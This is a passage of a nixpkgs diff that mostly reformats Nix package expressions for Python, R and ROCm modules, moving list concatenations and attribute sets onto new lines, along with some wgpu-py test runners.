+        name = "tests";
+        script = ''
+          WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
+            pytest -v ${wgpu-py.src}/tests
+        '';
+        nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
+      };
+
+      examples = testers.runCommand {
+        name = "examples";
+        script = ''
+          WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
+            pytest -v ${wgpu-py.src}/examples
+        '';
+        nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
+      };
+
+      codegen = testers.runCommand {
+        name = "codegen";
+        script = ''
+          WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
+            pytest -v ${wgpu-py.src}/codegen
+        '';
+        nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
+      };
+
+      tests_mem = testers.runCommand {
+        name = "tests_mem";
+        script = ''
+          WGPU_LIB_PATH=${wgpu-native}/lib/libwgpu_native${stdenv.hostPlatform.extensions.library} \
+            pytest -v ${wgpu-py.src}/tests_mem
+        '';
+        nativeBuildInputs = [ wgpu-py ] ++ nativeCheckInputs;
+      };
+    };
   };
 
   meta = {
diff --git a/pkgs/development/python-modules/whey/default.nix b/pkgs/development/python-modules/whey/default.nix
index 61ef34e74ad6..ace0f3fbad75 100644
--- a/pkgs/development/python-modules/whey/default.nix
+++ b/pkgs/development/python-modules/whey/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     readme = [
       docutils
       pyproject-parser
-    ] ++ pyproject-parser.optional-dependencies.readme;
+    ]
+    ++ pyproject-parser.optional-dependencies.readme;
   };
 
   nativeCheckInputs = [
diff --git a/pkgs/development/python-modules/whool/default.nix b/pkgs/development/python-modules/whool/default.nix
index fc015b584b7b..50e860e89b51 100644
--- a/pkgs/development/python-modules/whool/default.nix
+++ b/pkgs/development/python-modules/whool/default.nix
@@ -28,7 +28,8 @@ buildPythonPackage rec {
   dependencies = [
     manifestoo-core
     wheel
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   pythonImportsCheck = [ "whool" ];
 
diff --git a/pkgs/development/python-modules/willow/default.nix b/pkgs/development/python-modules/willow/default.nix
index 6dbd88fbcb1c..c11de6deb4da 100644
--- a/pkgs/development/python-modules/willow/default.nix
+++ b/pkgs/development/python-modules/willow/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pillow
     wand
-  ] ++ optional-dependencies.heif;
+  ]
+  ++ optional-dependencies.heif;
 
   disabledTests = [
     # ValueError: Invalid quality setting
diff --git a/pkgs/development/python-modules/wtforms/default.nix b/pkgs/development/python-modules/wtforms/default.nix
index 1ee5fac732b8..5e1043684687 100644
--- a/pkgs/development/python-modules/wtforms/default.nix
+++ b/pkgs/development/python-modules/wtforms/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "wtforms" ];
 
diff --git a/pkgs/development/python-modules/wxpython/4.2.nix b/pkgs/development/python-modules/wxpython/4.2.nix
index 9edee34105d9..d9d00c9a3c1a 100644
--- a/pkgs/development/python-modules/wxpython/4.2.nix
+++ b/pkgs/development/python-modules/wxpython/4.2.nix
@@ -75,26 +75,26 @@ buildPythonPackage rec {
     sip
     which
     wxGTK
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
 
-  buildInputs =
-    [
-      wxGTK
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gstreamer
-      libGL
-      libGLU
-      libSM
-      libXinerama
-      libXtst
-      libXxf86vm
-      libglvnd
-      libgbm
-      webkitgtk_4_1
-      xorgproto
-    ];
+  buildInputs = [
+    wxGTK
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gstreamer
+    libGL
+    libGLU
+    libSM
+    libXinerama
+    libXtst
+    libXxf86vm
+    libglvnd
+    libgbm
+    webkitgtk_4_1
+    xorgproto
+  ];
 
   propagatedBuildInputs = [
     numpy
diff --git a/pkgs/development/python-modules/xformers/default.nix b/pkgs/development/python-modules/xformers/default.nix
index 7b8e9a35f4d1..1ac68f5b5a54 100644
--- a/pkgs/development/python-modules/xformers/default.nix
+++ b/pkgs/development/python-modules/xformers/default.nix
@@ -82,7 +82,8 @@ buildPythonPackage {
   nativeBuildInputs = [
     ninja
     which
-  ] ++ lib.optionals cudaSupport (with cudaPackages; [ cuda_nvcc ]);
+  ]
+  ++ lib.optionals cudaSupport (with cudaPackages; [ cuda_nvcc ]);
 
   dependencies = [
     numpy
diff --git a/pkgs/development/python-modules/xgrammar/default.nix b/pkgs/development/python-modules/xgrammar/default.nix
index 90caf1208c0f..1e60c2b692a7 100644
--- a/pkgs/development/python-modules/xgrammar/default.nix
+++ b/pkgs/development/python-modules/xgrammar/default.nix
@@ -44,17 +44,16 @@ buildPythonPackage rec {
   ];
   dontUseCmakeConfigure = true;
 
-  dependencies =
-    [
-      pydantic
-      sentencepiece
-      tiktoken
-      torch
-      transformers
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64) [
-      triton
-    ];
+  dependencies = [
+    pydantic
+    sentencepiece
+    tiktoken
+    torch
+    transformers
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64) [
+    triton
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/xknx/default.nix b/pkgs/development/python-modules/xknx/default.nix
index 0c0398330567..6c8692ccf9b1 100644
--- a/pkgs/development/python-modules/xknx/default.nix
+++ b/pkgs/development/python-modules/xknx/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   dependencies = [
     cryptography
     ifaddr
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   nativeCheckInputs = [
     freezegun
diff --git a/pkgs/development/python-modules/xnd/default.nix b/pkgs/development/python-modules/xnd/default.nix
index e3145bacc539..0c2110bd56bd 100644
--- a/pkgs/development/python-modules/xnd/default.nix
+++ b/pkgs/development/python-modules/xnd/default.nix
@@ -21,32 +21,30 @@ buildPythonPackage {
 
   buildInputs = [ libndtypes ];
 
-  postPatch =
-    ''
-      substituteInPlace setup.py \
-        --replace-fail \
-          'include_dirs = ["libxnd", "ndtypes/python/ndtypes"] + INCLUDES' \
-          'include_dirs = ["${libndtypes}/include", "${ndtypes}/include", "${libxnd}/include"]' \
-        --replace-fail \
-          'library_dirs = ["libxnd", "ndtypes/libndtypes"] + LIBS' \
-          'library_dirs = ["${libndtypes}/lib", "${libxnd}/lib"]' \
-        --replace-fail \
-          'runtime_library_dirs = ["$ORIGIN"]' \
-          'runtime_library_dirs = ["${libndtypes}/lib", "${libxnd}/lib"]'
-    ''
-    + lib.optionalString (pythonAtLeast "3.12") ''
-      substituteInPlace python/xnd/util.h \
-        --replace-fail '->ob_digit[i]' '->long_value.ob_digit[i]'
-    '';
+  postPatch = ''
+    substituteInPlace setup.py \
+      --replace-fail \
+        'include_dirs = ["libxnd", "ndtypes/python/ndtypes"] + INCLUDES' \
+        'include_dirs = ["${libndtypes}/include", "${ndtypes}/include", "${libxnd}/include"]' \
+      --replace-fail \
+        'library_dirs = ["libxnd", "ndtypes/libndtypes"] + LIBS' \
+        'library_dirs = ["${libndtypes}/lib", "${libxnd}/lib"]' \
+      --replace-fail \
+        'runtime_library_dirs = ["$ORIGIN"]' \
+        'runtime_library_dirs = ["${libndtypes}/lib", "${libxnd}/lib"]'
+  ''
+  + lib.optionalString (pythonAtLeast "3.12") ''
+    substituteInPlace python/xnd/util.h \
+      --replace-fail '->ob_digit[i]' '->long_value.ob_digit[i]'
+  '';
 
-  postInstall =
-    ''
-      mkdir $out/include
-      cp python/xnd/*.h $out/include
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install_name_tool -add_rpath ${libxnd}/lib $out/${python.sitePackages}/xnd/_xnd.*.so
-    '';
+  postInstall = ''
+    mkdir $out/include
+    cp python/xnd/*.h $out/include
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install_name_tool -add_rpath ${libxnd}/lib $out/${python.sitePackages}/xnd/_xnd.*.so
+  '';
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/xsdata/default.nix b/pkgs/development/python-modules/xsdata/default.nix
index 502f0a84c11d..7d1a74b1390d 100644
--- a/pkgs/development/python-modules/xsdata/default.nix
+++ b/pkgs/development/python-modules/xsdata/default.nix
@@ -55,13 +55,12 @@ buildPythonPackage rec {
     soap = [ requests ];
   };
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.cli
-    ++ optional-dependencies.lxml
-    ++ optional-dependencies.soap;
+  nativeCheckInputs = [
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.cli
+  ++ optional-dependencies.lxml
+  ++ optional-dependencies.soap;
 
   disabledTestPaths = [ "tests/integration/benchmarks" ];
 
diff --git a/pkgs/development/python-modules/yalexs/default.nix b/pkgs/development/python-modules/yalexs/default.nix
index aab259612d16..7c7c619c3fc4 100644
--- a/pkgs/development/python-modules/yalexs/default.nix
+++ b/pkgs/development/python-modules/yalexs/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     python-socketio
     requests
     typing-extensions
-  ] ++ python-socketio.optional-dependencies.asyncio_client;
+  ]
+  ++ python-socketio.optional-dependencies.asyncio_client;
 
   nativeCheckInputs = [
     aioresponses
diff --git a/pkgs/development/python-modules/yamllint/default.nix b/pkgs/development/python-modules/yamllint/default.nix
index b79310cf1cba..93bdca8624b6 100644
--- a/pkgs/development/python-modules/yamllint/default.nix
+++ b/pkgs/development/python-modules/yamllint/default.nix
@@ -33,19 +33,18 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  disabledTests =
-    [
-      # test failure reported upstream: https://github.com/adrienverge/yamllint/issues/373
-      "test_find_files_recursively"
-      # Issue wih fixture
-      "test_codec_built_in_equivalent"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # locale tests are broken on BSDs; see https://github.com/adrienverge/yamllint/issues/307
-      "test_locale_accents"
-      "test_locale_case"
-      "test_run_with_locale"
-    ];
+  disabledTests = [
+    # test failure reported upstream: https://github.com/adrienverge/yamllint/issues/373
+    "test_find_files_recursively"
+    # Issue wih fixture
+    "test_codec_built_in_equivalent"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # locale tests are broken on BSDs; see https://github.com/adrienverge/yamllint/issues/307
+    "test_locale_accents"
+    "test_locale_case"
+    "test_run_with_locale"
+  ];
 
   pythonImportsCheck = [ "yamllint" ];
 
diff --git a/pkgs/development/python-modules/yowsup/default.nix b/pkgs/development/python-modules/yowsup/default.nix
index 77fe1f9733da..39a6579dd7c5 100644
--- a/pkgs/development/python-modules/yowsup/default.nix
+++ b/pkgs/development/python-modules/yowsup/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     protobuf
     python-axolotl
     six
-  ] ++ lib.optionals (!pythonOlder "3.12") [ pyasyncore ];
+  ]
+  ++ lib.optionals (!pythonOlder "3.12") [ pyasyncore ];
 
   meta = {
     homepage = "https://github.com/tgalal/yowsup";
diff --git a/pkgs/development/python-modules/zarr/default.nix b/pkgs/development/python-modules/zarr/default.nix
index 3caee9945d97..a203a9b2254c 100644
--- a/pkgs/development/python-modules/zarr/default.nix
+++ b/pkgs/development/python-modules/zarr/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     numpy
     fasteners
     numcodecs
-  ] ++ numcodecs.optional-dependencies.msgpack;
+  ]
+  ++ numcodecs.optional-dependencies.msgpack;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/zeep/default.nix b/pkgs/development/python-modules/zeep/default.nix
index 13c8788fd442..fe144dddf8a2 100644
--- a/pkgs/development/python-modules/zeep/default.nix
+++ b/pkgs/development/python-modules/zeep/default.nix
@@ -75,7 +75,8 @@ buildPythonPackage rec {
     pytest-httpx
     pytestCheckHook
     requests-mock
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = [
     # Failed: External connections not allowed during tests.
diff --git a/pkgs/development/python-modules/zigpy/default.nix b/pkgs/development/python-modules/zigpy/default.nix
index 27ad394a1f2a..bae5903a46b8 100644
--- a/pkgs/development/python-modules/zigpy/default.nix
+++ b/pkgs/development/python-modules/zigpy/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
     pyserial-asyncio
     typing-extensions
     voluptuous
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   nativeCheckInputs = [
     aioresponses
@@ -64,14 +65,13 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # assert quirked.quirk_metadata.quirk_location.endswith("zigpy/tests/test_quirks_v2.py]-line:104") is False
-      "test_quirks_v2"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64) [
-      "test_periodic_scan_priority"
-    ];
+  disabledTests = [
+    # assert quirked.quirk_metadata.quirk_location.endswith("zigpy/tests/test_quirks_v2.py]-line:104") is False
+    "test_quirks_v2"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86_64) [
+    "test_periodic_scan_priority"
+  ];
 
   disabledTestPaths = [
     # Tests require network access
diff --git a/pkgs/development/python-modules/zope-security/default.nix b/pkgs/development/python-modules/zope-security/default.nix
index ede2248dac39..0e7d69093da0 100644
--- a/pkgs/development/python-modules/zope-security/default.nix
+++ b/pkgs/development/python-modules/zope-security/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     unittestCheckHook
     zope-exceptions
     zope-testing
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # Import process is too complex and some tests fail
   preCheck = ''
diff --git a/pkgs/development/python-modules/zulip/default.nix b/pkgs/development/python-modules/zulip/default.nix
index d5bec61a0c0f..54cd375944b8 100644
--- a/pkgs/development/python-modules/zulip/default.nix
+++ b/pkgs/development/python-modules/zulip/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     distro
     click
     typing-extensions
-  ] ++ requests.optional-dependencies.security;
+  ]
+  ++ requests.optional-dependencies.security;
 
   nativeCheckInputs = [
     matrix-nio
diff --git a/pkgs/development/python2-modules/importlib-metadata/default.nix b/pkgs/development/python2-modules/importlib-metadata/default.nix
index 72b37433c512..73e1c8b33821 100644
--- a/pkgs/development/python2-modules/importlib-metadata/default.nix
+++ b/pkgs/development/python2-modules/importlib-metadata/default.nix
@@ -22,13 +22,14 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ setuptools-scm ];
 
-  propagatedBuildInputs =
-    [ zipp ]
-    ++ lib.optionals (!isPy3k) [
-      pathlib2
-      contextlib2
-      configparser
-    ];
+  propagatedBuildInputs = [
+    zipp
+  ]
+  ++ lib.optionals (!isPy3k) [
+    pathlib2
+    contextlib2
+    configparser
+  ];
 
   # Cyclic dependencies
   doCheck = false;
diff --git a/pkgs/development/python2-modules/mock/default.nix b/pkgs/development/python2-modules/mock/default.nix
index 63298dfc38df..f6714609430f 100644
--- a/pkgs/development/python2-modules/mock/default.nix
+++ b/pkgs/development/python2-modules/mock/default.nix
@@ -22,7 +22,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     six
     pbr
-  ] ++ lib.optionals isPy27 [ funcsigs ];
+  ]
+  ++ lib.optionals isPy27 [ funcsigs ];
 
   # On PyPy for Python 2.7 in particular, Mock's tests have a known failure.
   # Mock upstream has a decoration to disable the failing test and make
diff --git a/pkgs/development/python2-modules/pygtk/default.nix b/pkgs/development/python2-modules/pygtk/default.nix
index 066a00884ef0..805f7163feac 100644
--- a/pkgs/development/python2-modules/pygtk/default.nix
+++ b/pkgs/development/python2-modules/pygtk/default.nix
@@ -63,21 +63,20 @@ buildPythonPackage rec {
 
   installPhase = "installPhase";
 
-  checkPhase =
-    ''
-      sed -i -e "s/glade = importModule('gtk.glade', buildDir)//" \
-             tests/common.py
-      sed -i -e "s/, glade$//" \
-             -e "s/.*testGlade.*//" \
-             -e "s/.*(glade.*//" \
-             tests/test_api.py
-    ''
-    + ''
-      sed -i -e "s/sys.path.insert(0, os.path.join(buildDir, 'gtk'))//" \
-             -e "s/sys.path.insert(0, buildDir)//" \
-             tests/common.py
-      make check
-    '';
+  checkPhase = ''
+    sed -i -e "s/glade = importModule('gtk.glade', buildDir)//" \
+           tests/common.py
+    sed -i -e "s/, glade$//" \
+           -e "s/.*testGlade.*//" \
+           -e "s/.*(glade.*//" \
+           tests/test_api.py
+  ''
+  + ''
+    sed -i -e "s/sys.path.insert(0, os.path.join(buildDir, 'gtk'))//" \
+           -e "s/sys.path.insert(0, buildDir)//" \
+           tests/common.py
+    make check
+  '';
   # XXX: TypeError: Unsupported type: <class 'gtk._gtk.WindowType'>
   # The check phase was not executed in the previous
   # non-buildPythonPackage setup - not sure why not.
diff --git a/pkgs/development/python2-modules/pytest/default.nix b/pkgs/development/python2-modules/pytest/default.nix
index a6abb8075316..940eea38e21e 100644
--- a/pkgs/development/python2-modules/pytest/default.nix
+++ b/pkgs/development/python2-modules/pytest/default.nix
@@ -40,20 +40,19 @@ buildPythonPackage rec {
     mock
   ];
   buildInputs = [ setuptools-scm ];
-  propagatedBuildInputs =
-    [
-      attrs
-      py
-      setuptools
-      six
-      pluggy
-      more-itertools
-      atomicwrites
-      wcwidth
-      packaging
-    ]
-    ++ lib.optionals (!isPy3k) [ funcsigs ]
-    ++ lib.optionals (pythonOlder "3.6") [ pathlib2 ];
+  propagatedBuildInputs = [
+    attrs
+    py
+    setuptools
+    six
+    pluggy
+    more-itertools
+    atomicwrites
+    wcwidth
+    packaging
+  ]
+  ++ lib.optionals (!isPy3k) [ funcsigs ]
+  ++ lib.optionals (pythonOlder "3.6") [ pathlib2 ];
 
   doCheck = !isPyPy; # https://github.com/pytest-dev/pytest/issues/3460
   checkPhase = ''
diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix
index e73720828c3c..5111260ad07f 100644
--- a/pkgs/development/r-modules/default.nix
+++ b/pkgs/development/r-modules/default.nix
@@ -358,14 +358,13 @@ let
   # `self` is `_self` with overridden packages;
   # packages in `_self` may depends on overridden packages.
   self = (defaultOverrides _self self) // overrides;
-  _self =
-    {
-      inherit buildRPackage;
-    }
-    // mkPackageSet deriveBioc biocPackagesGenerated
-    // mkPackageSet deriveBiocAnn biocAnnotationPackagesGenerated
-    // mkPackageSet deriveBiocExp biocExperimentPackagesGenerated
-    // mkPackageSet deriveCran cranPackagesGenerated;
+  _self = {
+    inherit buildRPackage;
+  }
+  // mkPackageSet deriveBioc biocPackagesGenerated
+  // mkPackageSet deriveBiocAnn biocAnnotationPackagesGenerated
+  // mkPackageSet deriveBiocExp biocExperimentPackagesGenerated
+  // mkPackageSet deriveCran cranPackagesGenerated;
 
   # Takes in a generated JSON file's imported contents
   # and transforms it by swapping each element of the depends array with the dependency's derivation
@@ -2410,7 +2409,8 @@ let
           bzip2
           icu
           which
-        ] ++ attrs.buildInputs;
+        ]
+        ++ attrs.buildInputs;
         postInstall = ''
           install -d $out/bin $out/share/man/man1
           ln -s ../library/littler/bin/r $out/bin/r
diff --git a/pkgs/development/r-modules/wrapper-radian.nix b/pkgs/development/r-modules/wrapper-radian.nix
index be829ccde8d1..3b9938b78db6 100644
--- a/pkgs/development/r-modules/wrapper-radian.nix
+++ b/pkgs/development/r-modules/wrapper-radian.nix
@@ -14,13 +14,12 @@ runCommand (radian.name + "-wrapper")
     preferLocalBuild = true;
     allowSubstitutes = false;
 
-    buildInputs =
-      [
-        R
-        radian
-      ]
-      ++ recommendedPackages
-      ++ packages;
+    buildInputs = [
+      R
+      radian
+    ]
+    ++ recommendedPackages
+    ++ packages;
 
     nativeBuildInputs = [ makeWrapper ];
 
diff --git a/pkgs/development/r-modules/wrapper-rstudio.nix b/pkgs/development/r-modules/wrapper-rstudio.nix
index fdba8b6f5255..817888a7ce50 100644
--- a/pkgs/development/r-modules/wrapper-rstudio.nix
+++ b/pkgs/development/r-modules/wrapper-rstudio.nix
@@ -18,13 +18,12 @@ runCommand (rstudio.name + "-wrapper")
     nativeBuildInputs = [ makeWrapper ];
     dontWrapQtApps = true;
 
-    buildInputs =
-      [
-        R
-        rstudio
-      ]
-      ++ recommendedPackages
-      ++ packages;
+    buildInputs = [
+      R
+      rstudio
+    ]
+    ++ recommendedPackages
+    ++ packages;
 
     # rWrapper points R to a specific set of packages by using a wrapper
     # (as in https://nixos.org/nixpkgs/manual/#r-packages) which sets
diff --git a/pkgs/development/rocm-modules/6/aotriton/default.nix b/pkgs/development/rocm-modules/6/aotriton/default.nix
index a7e58f2952c0..ccadbbf9633e 100644
--- a/pkgs/development/rocm-modules/6/aotriton/default.nix
+++ b/pkgs/development/rocm-modules/6/aotriton/default.nix
@@ -75,19 +75,18 @@ stdenv.mkDerivation (
     env.ROCM_PATH = "${clr}";
     requiredSystemFeatures = [ "big-parallel" ];
 
-    outputs =
-      [
-        "out"
-      ]
-      ++ lib.optionals buildTests [
-        "test"
-      ]
-      ++ lib.optionals buildBenchmarks [
-        "benchmark"
-      ]
-      ++ lib.optionals buildSamples [
-        "sample"
-      ];
+    outputs = [
+      "out"
+    ]
+    ++ lib.optionals buildTests [
+      "test"
+    ]
+    ++ lib.optionals buildBenchmarks [
+      "benchmark"
+    ]
+    ++ lib.optionals buildSamples [
+      "sample"
+    ];
 
     # Need an empty cuda.h for this to compile
     # Better than pulling in unfree cuda headers
@@ -107,31 +106,30 @@ stdenv.mkDerivation (
       ninja
     ];
 
-    buildInputs =
-      [
-        rocblas
-        rocsolver
-        hipblas-common
-        hipblas
-        openmp
-        libffi
-        ncurses
-        xz
-        nlohmann_json
-        rocmlir
+    buildInputs = [
+      rocblas
+      rocsolver
+      hipblas-common
+      hipblas
+      openmp
+      libffi
+      ncurses
+      xz
+      nlohmann_json
+      rocmlir
 
-        msgpack
-        libxml2
-        python3Packages.msgpack
-        zlib
-        zstd
-      ]
-      ++ lib.optionals buildTests [
-        gtest
-      ]
-      ++ lib.optionals (buildTests || buildBenchmarks) [
-        lapack-reference
-      ];
+      msgpack
+      libxml2
+      python3Packages.msgpack
+      zlib
+      zstd
+    ]
+    ++ lib.optionals buildTests [
+      gtest
+    ]
+    ++ lib.optionals (buildTests || buildBenchmarks) [
+      lapack-reference
+    ];
 
     env.TRITON_OFFLINE_BUILD = 1;
     env.LLVM_SYSPATH = "${triton-llvm'}";
@@ -177,31 +175,30 @@ stdenv.mkDerivation (
       runHook postInstall
     '';
 
-    cmakeFlags =
-      [
-        "-Wno-dev"
-        "-DAOTRITON_NOIMAGE_MODE=ON" # FIXME: Should be able to build with object code but generate_shim is failing
-        "-DCMAKE_BUILD_TYPE=Release"
-        "-DCMAKE_VERBOSE_MAKEFILE=ON"
-        "-DVIRTUALENV_PYTHON_EXENAME=${lib.getExe py}"
-        "-DCMAKE_CXX_COMPILER=${compiler}"
-        # Manually define CMAKE_INSTALL_<DIR>
-        # See: https://github.com/NixOS/nixpkgs/pull/197838
-        "-DCMAKE_INSTALL_BINDIR=bin"
-        "-DCMAKE_INSTALL_LIBDIR=lib"
-        "-DCMAKE_INSTALL_INCLUDEDIR=include"
-        "-DAMDGPU_TARGETS=${gpuTargets'}"
-        "-DGPU_TARGETS=${gpuTargets'}"
-      ]
-      ++ lib.optionals buildTests [
-        "-DBUILD_CLIENTS_TESTS=ON"
-      ]
-      ++ lib.optionals buildBenchmarks [
-        "-DBUILD_CLIENTS_BENCHMARKS=ON"
-      ]
-      ++ lib.optionals buildSamples [
-        "-DBUILD_CLIENTS_SAMPLES=ON"
-      ];
+    cmakeFlags = [
+      "-Wno-dev"
+      "-DAOTRITON_NOIMAGE_MODE=ON" # FIXME: Should be able to build with object code but generate_shim is failing
+      "-DCMAKE_BUILD_TYPE=Release"
+      "-DCMAKE_VERBOSE_MAKEFILE=ON"
+      "-DVIRTUALENV_PYTHON_EXENAME=${lib.getExe py}"
+      "-DCMAKE_CXX_COMPILER=${compiler}"
+      # Manually define CMAKE_INSTALL_<DIR>
+      # See: https://github.com/NixOS/nixpkgs/pull/197838
+      "-DCMAKE_INSTALL_BINDIR=bin"
+      "-DCMAKE_INSTALL_LIBDIR=lib"
+      "-DCMAKE_INSTALL_INCLUDEDIR=include"
+      "-DAMDGPU_TARGETS=${gpuTargets'}"
+      "-DGPU_TARGETS=${gpuTargets'}"
+    ]
+    ++ lib.optionals buildTests [
+      "-DBUILD_CLIENTS_TESTS=ON"
+    ]
+    ++ lib.optionals buildBenchmarks [
+      "-DBUILD_CLIENTS_BENCHMARKS=ON"
+    ]
+    ++ lib.optionals buildSamples [
+      "-DBUILD_CLIENTS_SAMPLES=ON"
+    ];
 
     postInstall =
       lib.optionalString buildTests ''
diff --git a/pkgs/development/rocm-modules/6/clr/default.nix b/pkgs/development/rocm-modules/6/clr/default.nix
index dca39f5be407..0198ba6ac0ae 100644
--- a/pkgs/development/rocm-modules/6/clr/default.nix
+++ b/pkgs/development/rocm-modules/6/clr/default.nix
@@ -213,68 +213,67 @@ stdenv.mkDerivation (finalAttrs: {
     gcc-unwrapped
   ];
 
-  passthru =
-    {
-      # All known and valid general GPU targets
-      # We cannot use this for each ROCm library, as each defines their own supported targets
-      # See: https://github.com/ROCm/ROCm/blob/77cbac4abab13046ee93d8b5bf410684caf91145/README.md#library-target-matrix
-      # Generic targets are not yet available in rocm-6.3.1 llvm
-      gpuTargets = lib.forEach [
-        # "9-generic"
-        "900" # MI25, Vega 56/64
-        "906" # MI50/60, Radeon VII
-        "908" # MI100
-        "90a" # MI210 / MI250
-        # "9-4-generic"
-        # 940/1 - never released publicly, maybe HPE cray specific MI3xx?
-        "942" # MI300
-        # "10-1-generic"
-        "1010"
-        "1012"
-        # "10-3-generic"
-        "1030" # W6800, various Radeon cards
-        # "11-generic"
-        "1100"
-        "1101"
-        "1102"
-      ] (target: "gfx${target}");
+  passthru = {
+    # All known and valid general GPU targets
+    # We cannot use this for each ROCm library, as each defines their own supported targets
+    # See: https://github.com/ROCm/ROCm/blob/77cbac4abab13046ee93d8b5bf410684caf91145/README.md#library-target-matrix
+    # Generic targets are not yet available in rocm-6.3.1 llvm
+    gpuTargets = lib.forEach [
+      # "9-generic"
+      "900" # MI25, Vega 56/64
+      "906" # MI50/60, Radeon VII
+      "908" # MI100
+      "90a" # MI210 / MI250
+      # "9-4-generic"
+      # 940/1 - never released publicly, maybe HPE cray specific MI3xx?
+      "942" # MI300
+      # "10-1-generic"
+      "1010"
+      "1012"
+      # "10-3-generic"
+      "1030" # W6800, various Radeon cards
+      # "11-generic"
+      "1100"
+      "1101"
+      "1102"
+    ] (target: "gfx${target}");
 
-      inherit hipClangPath;
+    inherit hipClangPath;
 
-      updateScript = rocmUpdateScript {
-        name = finalAttrs.pname;
-        inherit (finalAttrs.src) owner;
-        inherit (finalAttrs.src) repo;
-        page = "tags?per_page=4";
-      };
-
-      impureTests = {
-        rocm-smi = callPackage ./test-rocm-smi.nix {
-          inherit rocm-smi;
-          clr = finalAttrs.finalPackage;
-        };
-        opencl-example = callPackage ./test-opencl-example.nix {
-          clr = finalAttrs.finalPackage;
-        };
-      };
-
-      selectGpuTargets =
-        {
-          supported ? [ ],
-        }:
-        supported;
-      gpuArchSuffix = "";
-    }
-    // lib.optionalAttrs (localGpuTargets != null) {
-      inherit localGpuTargets;
-      gpuArchSuffix = "-" + (builtins.concatStringsSep "-" localGpuTargets);
-      selectGpuTargets =
-        {
-          supported ? [ ],
-        }:
-        if supported == [ ] then localGpuTargets else lib.lists.intersectLists localGpuTargets supported;
+    updateScript = rocmUpdateScript {
+      name = finalAttrs.pname;
+      inherit (finalAttrs.src) owner;
+      inherit (finalAttrs.src) repo;
+      page = "tags?per_page=4";
     };
 
+    impureTests = {
+      rocm-smi = callPackage ./test-rocm-smi.nix {
+        inherit rocm-smi;
+        clr = finalAttrs.finalPackage;
+      };
+      opencl-example = callPackage ./test-opencl-example.nix {
+        clr = finalAttrs.finalPackage;
+      };
+    };
+
+    selectGpuTargets =
+      {
+        supported ? [ ],
+      }:
+      supported;
+    gpuArchSuffix = "";
+  }
+  // lib.optionalAttrs (localGpuTargets != null) {
+    inherit localGpuTargets;
+    gpuArchSuffix = "-" + (builtins.concatStringsSep "-" localGpuTargets);
+    selectGpuTargets =
+      {
+        supported ? [ ],
+      }:
+      if supported == [ ] then localGpuTargets else lib.lists.intersectLists localGpuTargets supported;
+  };
+
   meta = with lib; {
     description = "AMD Common Language Runtime for hipamd, opencl, and rocclr";
     homepage = "https://github.com/ROCm/clr";
diff --git a/pkgs/development/rocm-modules/6/composable_kernel/base.nix b/pkgs/development/rocm-modules/6/composable_kernel/base.nix
index 2ed9532ff3e5..6f439802485f 100644
